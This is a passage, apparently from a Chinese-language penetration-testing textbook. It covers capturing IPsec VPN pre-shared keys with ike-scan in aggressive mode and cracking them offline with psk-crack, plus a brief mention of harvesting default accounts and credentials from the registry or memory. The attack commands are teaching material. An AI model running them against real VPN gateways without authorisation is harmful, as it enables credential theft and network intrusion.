ike-scan工具还可用于确定网关是否支持主动模式。如果支持,很难与服务器建立握手,因为服务器不会响应,直到作为识别有效负载的一部分提供了有效的 ID。

捕获预共享密钥

ike-scan工具可用于将 VPN 网关推入主动模式。这很重要,因为 IPSec 的主动模式不保护预共享密钥。认证凭据以明文形式发送,可以被捕获,然后使用离线工具进行破解。

对 Cisco VPN 集中器发出的以下示例使用以下命令:

root@kali@:~# ike-scan --pskcrack --aggressive
--id=peer <target>

以下截图显示了先前命令的执行:

捕获预共享密钥

如果您希望将结果导出到文本文件以进行额外分析和离线密码破解,请使用以下命令:

root@kali@:~# ike-scan --pskcrack --aggressive
  --id=peer <target> > <path/psk.txt> 

执行离线 PSK 破解

在使用离线工具破解捕获的预共享密钥哈希之前,编辑输出文件以仅包含哈希值(应包含九个以冒号分隔的值)。破解密钥的最有效工具是psk-crack,它支持字典、暴力和混合模式破解。

执行离线 PSK 破解

与所有离线破解一样,成功取决于工作和付出的努力(时间、计算工作量和能源投入)。像前面截图中显示的那样,一个强大的预共享密钥将需要很长时间才能破解。

识别默认用户账户

与大多数其他硬件设备一样,VPN 网关通常在安装时包含默认用户帐户。这些可能不会被管理员更改。使用在指纹识别过程中收集的信息,测试人员可以进行网络搜索以识别标准用户帐户。

如果测试人员可以访问用户的计算机,用户名凭据通常以明文形式存储在系统注册表中。此外,如果测试人员可以访问系统的内存,就可以直接从客户系统的内存转储中获取密码。

提示

VulnVPNwww.rebootuser.com)是一个虚拟操作系统和易受攻击的 VPN 服务器。它允许您应用本章描述的工具来破坏应用程序并在不损坏生产系统的情况下获得 root 访问权限。

总结

在本章中,我们研究了如何利用常见的远程访问应用程序,包括已加密以提供额外安全性的应用程序。我们利用了操作系统通信协议(RDP 和 SSH)和应用程序,如 VNC。我们还学习了如何对安全套接字层连接和虚拟专用网络进行侦察,以及减少加密效果的攻击类型。

在下一章中,我们将看到针对特定通信渠道的联合攻击与针对人类的攻击的结果。在检验这些客户端利用的有效性时,我们将审查几种攻击类型以及浏览器利用框架BeEF)项目。